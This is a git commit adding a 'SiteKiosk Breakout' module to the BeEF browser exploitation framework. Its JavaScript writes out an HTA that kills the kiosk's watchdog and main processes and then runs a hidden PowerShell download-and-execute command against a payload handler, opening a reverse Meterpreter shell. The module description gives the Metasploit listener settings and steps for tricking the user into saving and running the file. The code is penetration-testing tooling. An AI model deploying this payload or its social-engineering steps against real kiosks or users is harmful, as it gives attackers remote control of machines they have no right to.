Added @insertscript module to break-out from SiteKiosk

This commit is contained in:
antisnatchor
2014-09-07 23:18:41 +02:00
parent a18a74c82a
commit c24a8c2ec5
3 changed files with 65 additions and 0 deletions

View File

@@ -0,0 +1,20 @@
//
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
if(beef.browser.isIE()){
// application='yes' is IE-only and needed to load the HTA into an IFrame.
// in this way you can have your phishing page, and load the HTA on top of it
// beef.dom.createIframe('hidden', {'src':hta_url,'application':'yes'});
bb = new MSBlobBuilder();
bb.append('<script>new ActiveXObject("WScript.Shell").Run(\'taskkill.exe /F /IM Watchdog.exe\');<\/script>');
bb.append('<script>new ActiveXObject("WScript.Shell").Run(\'taskkill.exe /F /IM SiteKiosk.exe\');<\/script>');
bb.append('<script>new ActiveXObject("WScript.Shell").Run(\'powershell.exe -w hidden -nop -ep bypass -c "IEX ((new-object net.webclient).downloadstring(\\\\\\"<%= @payload_handler %>\\\\\\"))"\');<\/script>');
window.navigator.msSaveOrOpenBlob(bb.getBlob(),"BREAKOUT.hta");
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'HTA loaded into hidden IFrame.');
}
});

View File

@@ -0,0 +1,16 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
sitekiosk_breakout:
enable: true
category: ["Social Engineering"]
name: "SiteKiosk Breakout"
description: "This Module breaks out of SiteKiosk by using HTA. The HTA closes the kiosk and starts a reverse meterpreter shell via a powershell payload!<br>Before launching the module, do the following on Metasploit:<br>use exploit/windows/misc/psh_web_delivery<br>set URIPATH /psh<br>set PAYLOAD windows/meterpreter/reverse_https<br>set LHOST x.x.x.x<br>set LPORT 443<br>set ExitOnSession false<br>set AutoRunScript post/windows/manage/smart_migrate<br>exploit -j -z<br><br>After executing the module, follow this steps:<br>Click Save<br>Enter shell:ProgramFiles in the Save Dialogs adressbar<br>Navigate to C:\\Users\\Public\\Downloads<br>Save the file<br>After the Download is finished click on execute<br>Profit"
authors: ["insertscript"]
target:
user_notify: ["IE"]
not_working: ["ALL"]

View File

@@ -0,0 +1,29 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Sitekiosk_breakout < BeEF::Core::Command
def pre_send
# gets the value configured in the module configuration by the user
@datastore.each do |input|
if input['name'] == "payload_handler"
@payload_handler = input['value']
end
end
end
def self.options
return [
{'name' => 'payload_handler', 'ui_label'=>'Payload Handler', 'value' =>'http://10.10.10.10:8080/psh'}
]
end
def post_execute
save({'result' => @datastore['result']})
end
end